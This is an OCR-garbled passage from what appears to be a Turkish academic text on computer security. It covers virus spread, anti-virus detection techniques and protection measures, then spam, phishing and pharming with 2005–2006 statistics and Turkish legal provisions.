Iyi yazilmis bir virlis bulastigi her ortamda diizgiin c¢alisabilmeli, kendisini
hissettirmemeli ve birgok yere bulasabilmelidir. Kotii yazilmig bir virlis genellikle hemen
anti-viris programalari fark edilir ve ¢alisamadan derhal yok edilirler.

Virlis yazmanin en koaly yolu bir viriisii alip lizerinde yeni degisiklikler yapmaktir.

Ortaya ¢ikan viriis, orjinalinin bir tiirevi olacaktir. Bazen bir ¢ok viriisiin etkilerini birlestirip,
tek bir viriis programinda birlestirenler dahi vardir. Sonugta diger viriislere gore etki cok daha
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fazla olacaktir. Bilgisayar diinyasinda {inlii bir viriis yazar1 olmak igin; Iyi calisan, orjinal olan
ve digerlerinden farkli etkiler gosteren bir bilgisayar programi yazmaktir.

[lk viriislerin ¢ogu Assembly dilinde yazilirdi. Giiniimiizde ise gok farkli programlama
dilleri kullanilmaktadir. Su anda virisler i¢in; C/C++, VBS, Java, ActiveX, WSH ve makro
dilleri tercih edilmektedir.

Eskiden virlislerin temel bulugsma yolu disketlerden geciyordu. Yayilma yolunu
tersden takip ederek rahatlikla viriisiin kaynagi tesbit edilebiliyordu. Giinlimiizde ise, Internet
iizerinden yayilan bir viriisiin kaynagin1 bulmak hem daha kolay, hem de c¢ok daha zor.
Viriisiin kaynagi diinyanin bir ucunda, ilk tesbit edildigi yer diger ucunda olabilir.

Viriisiin dogru zamanda, dogru nokta ya da noktadan harekete gegmesi basarisini ¢ok
etkileyebilir. “Love Letter” adindaki e-posta kurtgugu ilk olarak 4 Mayis 2000’de diinyanin
dogu bolgesindeydi. Daha sonra batiya dogru ilerledikge ve calisanlarda is yerlerindeki
bilgisayarlar1 agtiklarinda “I Love You” e-postasiyla karsilastilar. Merkala dosyay1 agtiktan
sonra e-postalarindaki adres defterindeki kisilerede bunu otomatikman gondermis oldular.
Boylelikle 24 saat igerisinde bu kurtcuk tiim diinyaya yayilmis oldu.

Yeni viriislerin tesbit edilmesi ve temizleme yontemlerinin gelistirilmesi ile viriisiin
yok edilme evresi baglamaktadir. Bu asamada anti-viriis programlarina biiyiik is diismektedir.
Bilgisayar kullanicilar giincellenmis anti-viriis yazilimlarini kullanarak yeni ve eski viriisleri
tesbit edip, sistemlerinden bu sakincali programlar1 temizlemektedirler. Giiniimiize kadar
bir¢ok viriisiin yasamasina izin verilmemistir. Bunda bilgisayar kullanicilarin hassasiyeti,
kuruluslarin aldig: risk yontemleri ve kullandiklar anti-virlis programlarinin pay1 biiytiktiir.

3.4.6 Viriisleri Tespit Etmek

Viriis ve viriisiimsiileri temizlemek (ve tespit etmek) giinden giine daha da zor hale
gelmektedir. Daha Onceleri birgok virlis ¢ok ugrasilmadan tespit edilebiliyor ve
temizlenebiliyordu. Temizlenmese bile dosya sistemden silindigi anda viriisden kurtulunmus
olunuyordu. Fakat simdi sistemin registry icinde bir degisiklik yapmis ya da giivenlik
ayarlarini degistirmis olabilir.

Bu asamada viriis ve viriistimsiileri tesbit etmenin bir ¢ok yolu mevcuttur. Tabii ki en
kolay yolu anti-viriis programi kullanmaktir. Viriislerin ¢ok hizli bir gelisim i¢inde oldugu
giinimiizde anti-viris uygulamalar1 kullanmak neredeyse bir mecburiyettir. Internet
teknolojileriyle i¢ ige gegmis viriislerle bagsetmek her gecen giin biraz daha zor olmaktadir.
Daha onceleri Boot, Dosya ve Macro viriisleriyle sinirlari belli olan viriis tehtidinin boyutlari
gittikce belirsizlesmektedir. Diinya ile baglantisi olan her sistem viriisler i¢in agik hedeftir.

3.4.6.1 Imza Taramasi (Signature Scanning)
En basit yontemlerden biridir. Viriis ya da virilisiimsiiniin kendine has ve degismeyen
bir kism1 imza olarak secilir. Bunu parmak izinine de benzetilebilir. Uygun uzunluklarda

secilen karakter dizisi taranacak alanlarda aranir. Bir kelime veya kelime dizisinin bir kelime
islemcisi kullanilarak bir metinde aranmasi olarak benzetilebilir.
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Imza taramas1 sadece dosyalar igerisinde degil, diskin her yerinde 6zellikle boot
sektoriinde, RAM belleklerde, ag veya Internet’ten gelen veri paketlerinde de yapilmaktadir.
Sabit disk igerisinde yapilan taramalar, daha once gelmis viriis ve virlistimsiileri tespit etmek
icindir. RAM’de yapilan taramalarda ise bellekte aktif halde bulunanabilecek viriisler tespit
edilebilir. Ag ve Internet {izerinden gelen her tiirlii verideki tarama islemi ise gelmekte olan
viriis ya da benzeri zarar verme riski olanlarin girmesini engellemek i¢indir.

3.4.6.2 Heuristic Tarama

Imza taramas1 daha ¢ok taninan ve sabit bir igerige sahip olan viriislere yoneliktir. Her
giin ¢ok sayida yeni viriisiin ¢iktig1 ve icerigini devaml degistiren ya da degistirilen viriisleri
gbz Oniline alindiginda sadece imza taramasin yeterli bir koruma saglamamaktadir. Bu
durumda kilik degistiren ya da daha Once taninmayan bir virlisii de tespit edebilecek
yontemlere ihtiyag¢ vardir. Bu yontemlerden birisi Heuristic analiz metodudur.

Heuristic tarama ile anti-virlis programi, programlarin kaynak kodunu analiz eder.
Zararli olabileceginden siliphelenilen komut ve igslemler i¢eren programlar kullaniciya iletilir.
Bu siipheli komutlar ve islemler asagidaki gibi olabilirler;

Dosya silme, degistirme

Boot, FAT ve benzeri sistem alanlarina ulagmak, bunlar1 degistirmek
Formatlama yapmak

Isletim sistemine miidehale etmek

Bellekte TSR olarak kalmay1 istemek

Imza taramasina gére bu ydntem ¢ok daha uzun zaman alir. Ayrica bu ydntemde
yanilma pay1 daha yiiksektir. Her siipheli program viriis veya virlistimsiileri igermeyebilir.
Ama yine de bu yontemden faydalanmak ve siipheli durumlar titizlikle incelemek biiytik
yarar saglamaktadir.

3.4.6.3 Dogruluk Kontrolii (Integrity Checking)

Anti-virlis programlar tarafindan tercih edilen bu yontem 06zellikle yeni viriislere
kars1 etkili bir yontemdir. Bis sistem ilk 6nce viriis taramasindan gegcirilir. Herhangi bir viriis
bulunmazsa temiz oldugu kabul edilir ve her klasériin i¢inde birer “kontrol (checksum)”
dosyasi olusturur. Dosyalarin boyu, tarih ve saati, kontrol toplamlar1 gibi bilgileri bu kontrol
dosyasina kaydeder. Daha sonra yapilacak viriis taramasinda burada olusturulmus bilgilerden
faydalanilir.
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3.4.6.4 Anti-Viriis Programlarinin Kullandig: Viriis Tespit Yontemleri

Viriis Tespit Teknigi Calisma Prensibi Avantajlan Dezavantajlari

imza Taramasi Virls imzasinin Hizli ve olduk¢a dogru | Sadece tanimli virsleri
taranmasi sonug verir. tespit eder.

Heuristic Tarama Virtslerde bulunan Henlz kesfedilmemis Cok kesin sonug
Ozelliklerin veya tanitiimamig veremez. Tarama
arastiriimasi virlsleri de tespit eder. | isemi uzun surer.

Tespit edilen tanimli
olmayan virusler
temizlenemez.

Dogruluk Kontroll

Dosyalardaki bilgiler
kaydedilir ve
bunlardaki degisiklikler
tespit edilir.

Taninan ve
taninmayan virtsleri
tespit etmeyi
kolaylastirir.

Kontrol dosyalari ilk
kez olusturulurken
sistemin virtissuiz
olmasi gerekir. Bazi

virlsler bu yontemi
atlatabilir.

Tablo 3.1 - Anti-Viris Programlarinin Kullandidi Virus Tespit Yontemleri

3.4.7 Korunma Yollar

Internet’e bagli olundugu her saniye sistem saldirilara ac¢ik hedeftir. Korunmasiz her
sistem viriislenmesi ve istenmeyen sonuglarin meydana gelmesi an meselesidir. Korunmada
bilinmesi gereken, viriislerin ve saldir1 ¢esitlerinin bilinmesi ve nasil korunulmasi gerektigini
bilmektir. Viriis ve saldirlar1 6nlemek i¢in kullanilan en yaygin yontemler anti-viriis ve
giivenlik duvar1 (firewall) yazilimlaridir. Ama bunlar tek basina yetersiz kalmaktadir.
Ozellikle giiniimiizdeki ¢ok dinamik ve yeni yontemlerin giindemde oldugu zamanlarda ¢ok
daha dikkatli olmak, hi¢bir noktay1 atlamamak gerekmektedir. Sistemlerin viriislerden ve
saldir1 yontemlerinden korunmada belli bagli noktalar sdyledir;

3.4.7.1 Anti-Viriis Kullanmak

Virtislere kars1 en etkili yontemdir. Burada dikkat edilmesi gereken hususlar; Uygun
ve iyi bir anti-viriis yazilimi kullanilmasi ve devamli olarak giincel olmalarin1 saglamaktir.

3.4.7.2 Tedbir Almak

Viriislerin ve saldirt yontemlerinin giris yollarin1 kontrol altina alarak risk en aza
indirgenebilir. Ornegin; E-posta ile gelen dosyalardan exe, vbs, js gibi uzantili olan maillerin
acilmamas: riski azaltacaktir. Tedbirlerden en &nemlisi olarak; Isletim sistemi ve
uygulamalarin giivenlik yama ve giincellemelerinin diizenli olarak yiiklenmesi, diizenli yedek
alinmas1 gerekmektedir.

3.4.7.3 Gelismeleri Takip Etmek ve Bilinglendirmek

Viriisler ve saldir1 teknikleri hakkinda geligsmeleri takip etmek, yeni ¢ikan ve hizla
sistemlere zarar veren yontemler hakkinda bilgi sahibi olmak, tedbirleri gézden ge¢irmek ve
gerekiyorsa yeni tedbirler almak Onemli avantajlar saglayacaktir. Bilgisayar giivenligi
konusunda devamli daha da bilinglenmek ve bizim disimizdakileri de bilinglendirmek
gerekmektedir.
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3.4.8 Viriislerin Muhtemel Giris Yollan
Viriislerin muhtemel giris yollar1 asagidaki gibidir;

CD-ROM
Disket
Klavye

Ag (Network)
Modem

Bir sistemde kritik noktalarin basinda dial-up veya ag iizerinden kurulan Internet
baglantisi geliyor(web, fip sitelerine baglant1 v.s gibi) ve e-posta alimi gelmektedir. Disket ve
CD-ROM siiriiciileri de 6nemli bir giris noktasidir.

Iyi bir korunma igin; énce iyi bir durum analizi yaptiktan sonra iyi bir planlama
yapmak, sonra bunu uygulamak gerekmektedir. Korunma sistemi devreye girdiktem sonra
bunun verimli ve disiplinli bir sekilde calismasi saglanmalidir. Belirli araliklarla alinan
tedbirler gézden gegirilmeli ve sartlara uygun olarak giicellemeler derhal yapilmalidir. Yoksa,
alinan tedbirlere ragmen bir siire sonra yeni virlisler ve tehdit tiirleri sistemlere ciddi zararlar
verebilir.

3.4.9 Kritik Kontrol Noktalan

Bir agda viriislere kars1 alinacak tedbirlerin nerelerde konuglandirilacag: oldukga
stratejik bir karardir. Bu stratejik kritik kontrol noktalari;

e Sunucu (Server)
e Istemciler (Client)

Kritik sunucular ise;

Dosya Sunuculari
Uygulama Sunuculari
Internet Erisimi Sunuculari
Posta Sunuculari

Giliniimiizde en Onemli noktalar; diger aglarla ve Internet’e baglantiyr saglayan
sunucular ile, kullanicilarin disket, CD ve modem gibi araglarla disaridan gelebilecek
tehlikelere kars1 agik oldugu yerlerdir. Buradaki girisleri kontrol altina alinirsa disaridan
gelebilecek riskleri 6nemli Olclide azaltilmis olacaktir. Tehditler daha giris noktasinda tespit
edilmesi sistemin giivenligi agisindan ¢ok onemlidir. Alinan tedbirlerin prosediiriine uygun
bir sekilde uygulanmasi ¢ok 6nemlidir. Kiiciik bir ihmal ya da zaaf, biitiin sistemin bir anda
goemesine sebep olabilecek kadar kritiktir.
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3.4.10 Anti-Viriis Yazihmlarin Onemi ve Calisma Teknileri

Sistemlerin birbirleriyle iletisiminde mesafenin ortadan kalkmasinin olumlu yanlar
yaninda olumsuz yanlar1 da ortaya ¢ikmistir. Bir sistem Internet’e baglandigi anda diinyanin
herhangi bir yerindeki bir bilgiye ulasabilir hale gelmistir. Ama ayni1 zamanda kotii amaglarin
hedefi olmustur. Viriislerin ¢ok kisa bir siirede diinyanin herbir yanindaki sistemlere
bulasabilme potansiyeline sahip olmalar1 ve hacker’larin sistemlere sizabilmesi olumsuz
gelismelerin en Onemlileridir. Bundan dolay1 anti-viriis yazilimlar1 gelistiren kurumlar
giiniimiizde giivenlik yazilimlar1 gelistiren kurumlar haline gelmislerdir. Viriis tehdidi ile
birlikte diger giivenlik tehditlerine kars1 gelistirilen kapsamli giivenlik ¢oziimleri kurumsal ve
sahsi sistemlerin vazgeg¢ilmez parcalari haline gelmistir.

Anti-virtislerin ¢aligma teknikleri baz1 agilardan farkliliklar gdsterse de temel olarak
aynidir. Bir anti-viriis uygulamasinin temel kisimlarini sdyledir;

e Kullanici Arabirimi : Uygulamanin kullaniciyla iletisimi saglayan arabirim kismudir. Ik
anti-viriis programlar1 text tabanli iken simdi grafik tabanlidir (Graphical User Interface -
GUID).

e Tarama/Temizleme Motoru : Asil isi yapan kisimdir. Viriisleri tespit eder ve temizler.

e Viriis Tammlamalari Veritabani : Tarama/temizleme motoru bu veritabanindaki bilgileri
kullanarak viriisleri tespit eder ve temizler.

Yeni ¢ikan viriislerin de tespit edilebilmesi ve temizlenebilmesi i¢in viriis tanimlari
veritaban1 devamli giincellenir. Bazi anti-virlis yazilimlart daha etkili ve bagarili bir
performans elde etmek i¢in tarama/temizleme motorunu da giincellenebilir yapmaktadir.
Veritabaniyla birlikte motorun da gerektiginde gilincellenmesi Onemli bir avantaj
saglamaktadir.

3.4.10.1 Viris Tespiti

Tarama/Temizleme Motoru gerekli bilgileri Viriis Tanimlar1 Veritabanindan alarak
viriis taramast yapar. Kullanicinin se¢imine bagl olarak tiim dosyalar veya belirli dosyalar
taranir. Daha Onceleri sadece birkag tiir (exe, com, ovl v.s gibi) dosyanin taranmasi
yeterliyken, gilinlimiizde neredeyse birka¢ tiir veri dosyasi hari¢ herseyin taranmasi
gerekmektedir. Viriislerin bulagamadigi ama zarar verebildigi metin (text-txt), resim (gif,
jpeg, bmp), miizik (wav, mid, mp3) ve veritaban (dat, dbf, mdb) tiirli dosyalar disindaki her
tirlii dosyay1 taramak gerekmektedir. Baslica taranmasi gereken dosya tiirleri asagidaki
gibidir;

Isletim sistemi dosyalar1 (DLL, REG v.s gibi)

Calistirilabilir dosyalar (EXE, COM, OVL, JS, BAT v.s gibi)
E-posta dosyalar1 (PST, DOC, DOT, VBS v.s gibi)
Sikistirtlmis dosyalar (ZIP, ARJ, RAR, 7S v.s gibi)

Tarama sirasinda tespit edilen dosyalar, tespit edildikleri anda ya da tarama islemi
bittikten sonra temizleme isleminden gegirilirler. Tabii ki her dosyay1 basaril1 bir sekilde virtis
ya da virlistimsiilerden arindirmak miimkiin degildir. Ayrica, bazi dosyalar tamamen veya
biliyiik oranda virlis kodundan olusturulduklar1 i¢in temizlenebilmeleri miimkiin degildir.

41



Anti-viriis programlar1 virlis tespit ettiklerinde temizleme konusunda duruma gore bazi
secenekler sunar;

Temizleme

Karantinaya al

Sil

Bir iglem yapmadan, bir sonraki igleme devat et

Dosyanin temizlenmesi miimkiinse ve orjinal hali yoksa anti-viriis tarafindan
temizlenmesi en uygun yoldur. Temizleme sirasinda dosya geri doniilemeyecek sekilde hasar
gorebilir. Onun ic¢in Onemli dosyalar1 temizlemeden once her ihtimale karsi yedekleri
alinmalidir. Temizlenmesi miimkiin olmayan ya da basarili bir sekilde sonuglanma ihtimali
diisiik olan dosyalar karantinaya almirlar. Uzantilar1 degistirilerek dogrudan ¢aligtirilmalari
onlenerek bulagma riski ortadan kaldirilir. Karantinaya alinan dosyalar anti-viriis yazilimimnin
giincellemelerinden sonra temizlenebilecek duruma gelebilir. O zaman da karantinadaki
dosyalar temizlenerek tekrar kullanilabilir duruma getirilebilir. Viriislii bir dosya sadece virlis
kodundan olusuyor ya da temizlenmesi miimkiin degil ise silinerek imha edilir. Tespit edilen
virlis o anda herhangi bir miidehale yapilmasi istenmiyorsa ya da hatali bir tespit oldugu
diisiiniilityorsa anti-virilisiin hicbir islem yapmadan isine devam etmesi bu yolla saglanir.
Anti-viriis yazilminin  kullanig1 teknikler ve veritabanindaki veriler viriis tespitinde oldugu
gibi temizlemede de basariy: etkiler.

3.4.10.2 Anti-Viriis Yazilimlarinin Dezavantajlari

Anti-virlis yazilimlarinin en biiyiik dezavantajlari; Sistemi yavaslatmasi ve bellegi
doldurmasidir. Kullanim sartlarina ve sistemin donanim 6zelliklerine goére performans az ya
da ¢ok etkilenebilir. Risk planlamas1 yapilirken mutlaka bu noktanin gézden kacirilmamasi
gerekmektedir. Kullanilan anti-viriis ile isletim sistemi arasindaki uyusmazlik zaman zaman
sorunlara neden olabilir. Bazi ¢akigmalar, yanlis alarmlar, kilitlenme ve dosya bozulmalari
bunlardan bazilaridir.

3.4.11 Viriislerin Yeni Hedefleri

Bilgisayar viriisleri artik PC ve benzerleriyle kisithi degildir. Viriislerin yeni hedefi
PDA (avugigi bilgisayari) ve cep telefonlaridir. Ulkemizde de ¢ok yaygin olarak kullanilan
cep telefonlar1 yakin gelecekte viriislerin en biiyiik hedefi olacaktir. Bilgisayar kullanicilarina
gore ¢ok daha fazla sayida cep telefonu kullanicisinin olmasi ve cep telefonlarina eklenmek
istenilen yeni Ozellikler viriislerin ¢ogalmasina ve yazilmasimna neden olacaktir. Cep
telefonlarinin insanoglu i¢in daha kullanigh yapabilmek icin programlama konusunda bir¢cok
calisma yapilmaktadir. Bunlarin sonuglarindan birisi de Java’nin cep telefonlarina girmeye
baslamis olmasidir. Gelecekte bir viriis;

o Trafik sinyalizasyon sistemine girerek trafigi fel¢ edebilir.

e Asansorii istedigi gibi kumanda edebilir.

e Cep telefonundaki tiim rehberi silebilir ve istem dis1 olarak herhangi birisine SMS
mesaj1 atabilir.

e [Isitma ve sogutma sistemlerine girerek tam tersi sekilde caligmasina ya da tamamen
kapanmasina neden olabilir.
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4. SMTP ve SPAM

Ik kez 1982 yilinda ufak gapta bir kullanic1 potansiyeli i¢in tasarlanan SMTP sistemi
milyarlart bulan kullanici sayisi ile birlikte sorunlu ve yeni sorunlara agik bir sistem haline
gelmistir. SMTP standardina bagli olarak ortaya ¢ikan bu sorunlar basta SPAM, Phishing,
Pharming ve Viriisler olarak siralanabilir. Bu yazida bu sorunlarin asilmasinda gegici
korunmaci ¢oziimler yerine kalici sonug getiren ¢oziimlerin benimsenmesi, bu ¢dziimlerin
sonucunda kisa vadede uyum ve entegrasyon gibi sorunlar ortaya ¢iksa da uzun vadede ortaya
cikacak sonuclarin sorunlari kalic1 sekilde anlatilmaktadir.

Hizla biiyliyen Internet teknolojisinin getirdigi imkanlar ve kolayliklarin yaninda
bir¢ok sorunu da ortaya ¢ikarmistir. Stiphesiz Internetin en faydali oldugu alanlardan biri olan
haberlesme alaninin en 6nemli kismini olusturan e-posta sisteminin bir agig1 olarak ortaya
cikan SPAM ya da diger sOylemi ile istem dis1 posta bu kolayligin 6nemli bir sorunudur.

4.1 Spam

Spam kelimesi farkli kaynaklarda farkli olarak tanimlanirken ortak tek bir nokta
tizerinde durulur. Bu nokta “istemsiz” kelimesidir. Bir e-postanin Spam olarak
algilanabilmesi i¢in ilk ve en onemli nokta o postanin alicinin istemi disinda génderilmis
olmasidir.

Spam olduk¢a uzun bir ge¢mise dayanan bir kavramdir. Birlesik Devletler Posta
Teskilatinin kurulmasi ile birlikte 20. y.y. baslarinda Spam postalar tim {ilkeye yayilmaya
baglamistir. Teknolojinin ilerlemesi ile birlikte posta yoluyla yapilan Spam, telefonlar ve faks
cihazlan {izerinden devam ettirmistir. Kuskusuz Spam en parlak devrini maliyetlerinin en
diisiik ve etki alaninin en biiyiik duruma ulastig1 yer olan Internet ile birlikte yasamaktadir. Ilk
ortaya c¢iktig1 zamanlarda yalnizca reklam ve benzeri amaglara hizmet eden sorun su an
itibariyle oldukca genis bir yelpazede ortaya ¢ikmaktadir. E-posta yoluyla Spam’in yaninda
mesaj yoluyla, cep telefonu yoluyla ve benzer bir ¢cok yontemle ortaya ¢ikmaktadir. Ancak
kuskusuz e-posta yoluyla yapilan Spam bu pastanin énemli bir dilimini olusturmaktadir.

Giliniimiizde Spam ile karsilasmayan Internet kullanicist yok gibidir. Her birimizin e-
posta adreslerine mutlaka giinde bir veya birka¢ kez Spam nitelikli postalar gelmektedir.
Kullanici agisinda bakildiginda sorun tesgkil etmeyen bir durum gibi goziiken bu postalar
zaman igerisinde katlanarak artmakta ve e-posta adresinize gelen diger postalarin okunmasini
zorlastirmakta, bazen posta kutunuzu doldurmakta ve kutunun yeni bir posta almasim
engellemektedir. Ayn1 zamanda genellikle reklam amacgli gonderilen bu postalar miisteri
odakl1 bir sistemden ge¢medikleri i¢in amag dis1 bir reklam da olmaktadir.
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Sekil 4.1 : Spam Posta dagilimi (Kaynak: Clickz Trends & Statistics)

Spam postalarin filtrelenmesine ¢alisiimasina ragmen Spam posta sayist glinden giine
artmaktadir. Bir istatistik olarak vermek gerekirse, Sekil 4.1 incelendiginde, Internet servis
saglayicilarindan alinan bilgilere dayanilarak olusturulan istatistige gore 2005 yilinda %68.6
olan Spam posta orant 2006 yilinda %72.3 oranina g¢ikmustir. Bu saymm 2004 yili
ortalamasinin %51.3 olmas1 artisin ne denli hizli oldugunu gostermek agisindan énemli bir
rakam olacaktir.

SPAM Posta Miktari
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Sekil 4.2 : 2005 Y1t Sayisal Spam Posta Miktar1 (Kaynak: Clickz Trends & Statistics)
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Sekil 4.2 incelendiginde, Ocak 2005 de yaklasik 2,7 Milyon olan Spam posta miktar1
bir yil sonra 2006 Ocak ayinda 6 milyonun lizerine ¢ikmistir. Bu istatistikte genisleyen
Internet ve e-posta kullanimi sayesinde yilizde oranmi olarak artisin nominal degerlerle
gosterildiginde ¢ok daha biiyiik durumda oldugu gostermektedir.

Spam sorunun ne denli hizli gelistigini ve ne tiir sorunlara yol ac¢tigini gordiigiimiize
gdre bu konuda yapilan yasal diizenlemelere bakabiliriz: Ulkemizde 1997 yilindan itibaren
konuyla ilgili caligmalar yapilmakta olup, 2001 yilinda Emniyet Midiirliigii biinyesinde
Bilisim Suglar1 Dairesi kurulmus bulunmaktadir. 1999 yilindan itibaren ise belirli araliklarla
Tiirk Ceza Kanununda yapilan diizenlemelerle birlikte:

e Bilgisayar Yoluyla Dolandiricilik TCK 503-507: Dolandiricilik ve Iflas

e Bilgisayar Yoluyla Sahtecilik TCK 316-368: Sahtecilik Suglar1

e Kanunla Korunmus Bir Yazilimin zinsiz Kullanimi1 5846'nolu Fikir ve Sanat Eserleri
Kanunu (FSEK)

e Yasadist Yaymlar TCK 125-200: Devletin Sahsiyetine karsi ciirimler;

e TCK 480-490: Hakaret ve S6vme Ciirtimleri

e TCK 426-427: Halkin ar ve haya duygularini inciten veya cinsi arzulari tahrik eden ve
istismar eder nitelikte genel ahlaka aykir1: ve diger anlatim arag ve gerecleri.

e Bilgisayar Sistemlerine ve Servislerine Yetkisiz Erisim ve Dinleme "Bilisim Alaninda
Suclar TCK 525a, b, ¢ ve d". Maddeleridir.

Maddeleri dayanak alinarak islem yiiriitilmektedir. Goriildiigii iizere Spam igin
spesifik bir yasa bulunmamakta olup postanin igerigine gore gonderen hakkinda hukuki bir
yaptirim uygulanabilmektedir. Amerika Birlesik Devletleri 2003 yilinda yiiriirliiliige giren ve
halk arasinda anti-Spam kanunu olarak bilinen Can Spam yasas1 dahilinde Spam ve baglantili
olan alt sorunlarla savasta hukuki dayanak yaratmistir. Can Spam kanunu yiiriirliliige girdigi
2003 yilindan itibaren basta Microsoft olmak {izere bir¢ok firma tarafindan yasaya dayanarak
Spam davalar1 agilmistir.

4.2 Phishing ve Pharming

Spam sorunu, genel olarak bakildiginda zaman ve maliyet yaratimi seklinde ortaya
konulabilir. Cilinkii Spam posta almanin size en iyimser pratik zarar1 posta kutunuzun dolmasi
ve o postayi silerken ya da okurken harcayacaginiz zamandir.

Bu iki terim son birkag¢ yildir bilisim literatiiriine dahil olan kavramlardir. Okunus
itibariyle Fishing (Balik Tutma) ve Farming (Ciftcilik) olarak g¢evrilebilen bu kelimeler
anlam itibariyle de bu kelimeleri karsilamaktadir.

Phishing son yillarda ortaya ¢ikmis ve oldukg¢a hizli bir bicimde biiyiiyen bir e-posta
saldir1 sistemidir ve sonuglart Spam’e gore oldukca agir olmaktadir. Phishing tekniginde
Spam de oldugu gibi bir posta listesine bir posta gonderilmektedir. Teknik Spam’den igerik
olarak ayrilir. Phishing’de posta igerigi aliciy1 yanlis ve ilgi ¢ekici ibarelerle saldirganin
sitesine yonlendirme amachdir. Ornegin iilkede yaygin bicimde taninan bir banka tarafindan
gonderilmis gibi gelen bir posta, banka hesabiniza bir hesaptan yiiklii miktarda havale
yapildigin1 ve bu havaleyi onaylamak i¢in belirtilen yere Internet bankacilifi kodunuz ve
sifrenizi girmeniz gerektigini tipki ilgili bankadan gonderilmis gibi gelir. Buna isimden
anlasilabilecegi lizere “Olta” denir. Eger alict bu oltayr yutar ve belirtilen yere istenen
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bilgileri yazarsa Fishing yani balik tutan saldirgana bilgilerini kendi elleri ile vermis olur.
Bundan sonra saldirgan aldig1 bilgilerle alicinin hesabindan kendi paravan hesaplarina para
aktarir.
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Sekil 4.3 : Kasim 2005 ile Kasim 2006 Arasi Saptanan Phishing Sayisi
(Kaynak: Anti-Phishing Working Group, “Phishing Activity Trends Report November 2006")

Pharming yontemi de benzer bir bicimde olmasina ragmen bazi noktalarda Phishing
yonteminden ayrilir. Pharming’de saldirgana “Crimeware” olarak siniflandirilan programlar
yardimer olur. ilk asamada gene Spam yoluyla alicilara ulasilir ve yine kandirma yéntemi ile
bilgisayarlarina bir program kurdurulur. Bu programlar “tohum” olarak adlandirilabilir. Bu
tohumlar bilgisayar agik kaldig: siirece acgik kalir ve kullanicinin biitiin girdilerini saldirgana
iletirler. Bu islemede “sulama” denir. Kullanicinin banka hesap sifreleri, e-posta sifreleri gibi
bilgilerle sulanan tohumlar {iriinlerini yine ayni sekilde, kullanicilarin haberleri olmadan yine
kullanicilar kendi elleri ile verirler. Sonug olarak saldirgana sadece o tohumdan ¢ikan iiriinleri
toplamak kalir.

Bu iki yontemde magdurlarina olduk¢a yiiklii miktarda zararlari olan sistemlerdir.
Istatistik olarak vermek gerekirse: 2005 yilinda %0.03 olan Phishing oran1 2006 de %0.08 e
cikmistir. Bu da ortalama olarak her 304 postadan birinin Phishing oldugunu gosterir. Bu
oldukga hizli bir artisin gostergesidir. Bu istatistie bu donemde artan Internet kullanimi
sonucunda posta alicilarinin da diisen bilgi seviyesi eklenirse durumun gayet vahim oldugu
ortadadir. APWG (Anti Phishing Work Group) tarafindan Kasim 2006 de yayimlanan
bildiride deginildigi tizere Phishing oldukga hizla yayilan ve Spam’e gore daha agir sonuglari
beraberinde getiren bir sorundur.

4.3 E-Posta Yoluyla Yayilan Viriisler

Yukarida belirtilen sorunlarin yaninda bir bagka sorunda ¢ok uzun yillardir bilinen
ancak kabuk degistirip e-posta sisteminde faaliyetlerine devam eden viriislerdir. 1999 yilinda
ortaya c¢ikan “Melissa” viriisii e-posta sistemi {izerinden yayilmis bilinen ilk virlistiir.
Melissa’dan sonra 2000 yilinda ortaya ¢ikan LoveLetter viriisii de yine aym sekilde e-postalar
iizerinden yayilmis ve yeni bir sorunun ortaya ¢ikmasina onciiliik etmislerdir. Her iki viriiste
onceki sorunlarda oldugu gibi kullaniciya aldatmaca igeren bir sekilde posta yoluyla gelmekte
daha sonra tuzaga diisen alicinin bilgisayarina bulagmakta ve durumu bir adim oteye
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gotiirerek magdurun bilgisayarinda bulunan tiim e-posta listesine kendisinin birer kopyasini
gondermektedir. Bu sayede yayilan LoveLetter viriisiiniin simdiye dek 10 milyar dolarin
izerinde zarara yol agtig1 sanilmaktadir.

Sira Tiir Isim Yiizde
1 e-posta Worm.Win32.Zafi.d 29,17
2 Normal Worm.Win32.Mytob.c 17,30
3 e-posta Worm.Win32.LovGate.w 6,07
4 e-posta Worm.Win32.Sober.y 4,92
5 e-posta Worm.Win32.Zafi.b 3,73
6 e-posta Worm.Win32.NetSky.b 3,58
7 e-posta Worm.Win32.NetSky.q 2,75
8 Normal Worm.Win32.Mytob.t 2,29
9 Normal Worm.Win32.Mytob.u 2,28
10 Normal Worm.Win32.Mytob.q 1,79

Digerleri 26,12

Tablo 4.1 — Aralik 2006 Tarihinde En Cok Rapor Edilen ilk 10 Viriis
(Kaynak: Clickz Trends & Statistics)

Tablo 4.2 den goriilebilecegi {izere belirtilen tarihlerde en aktif olan 10 viriisiin
ylizdesel olarak % 67,98’1 e-posta yoluyla yayilan viriislerden olugsmaktadir. Bunun yaninda
normal bilinen yollarla yayilan viriisler sadece 9%32,02 de kalmistir. Unutulmamasi gereken
bir noktada tabloda tiirii itibariyle “normal” olarak belirtilen viriislerinde yayilma bicemleri
arasinda posta yoluyla gonderilme bulunmaktadir. Bu agidan durumun e-postalar yoniinde
oldukc¢a 6nemli diizeyde oldugu goriilmelidir. Tablo 4.2 de ortaya konulan veriler Sekil 4.3 de
gorsel olarak ortaya konulmustur.

Genel Ik 10 icerisindeki
Tiir Yiizde Yiizde
e-posta 50,22 67,98
Normal 23,66 32,02

Tablo 4.2 — Aralik 2006 Tarihinde En Cok Rapor Edilen ilk 10 Viriisiin Tiirlerine Gore Yiizde
Dagilimi (Kaynak: Clickz Trends & Statistics)
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ik 10 Igerisindeki Yiizde

O e-posta

@ Normal

Sekil 4.4 : Aralik 2006 Tarihinde En Cok Rapor Edilen ilk 10 Virlisiin Kendi

ierisinde Tiirlerine Gére Dagilimi (Kaynak: Clickz Trends & Statistics)

E-posta sistemindeki aciklardan dolayr kaynaklanan sorunlar genel hatlar ile
Ozetlenmis iken, bu sorunlarin ¢oziilmesi i¢in gelistirilen ¢oziimler oldukea kisitl olmaktadir.
Aslinda genel olarak bakildiginda kesin ¢oziimden Ote sadece korunma amagl ¢oziimler
gelistirilmektedir.

4.4 Coziim

Simdiye kadar ki ortaya ¢ikmis genel ¢ozlimlere bakildiginda, mevcut ¢oziimler soyle
bir ornekle Ozetlenebilir. Bir apartmanda oturuyorsunuz ve posta kutunuza gelen reklam
postalarindan sikayet¢isiniz. Bunun i¢in bir ¢dziim diisiinliyorsunuz. Bu esnada bir gilivenlik
sirketi gelip size apartmaninizin kapisinda uygun tiicretle bir bek¢i koymay: teklif ediyor.
Kabul ediyorsunuz. Bu esnada bek¢iniz ne kadar maharetli ise kapinizdan giren ve reklam
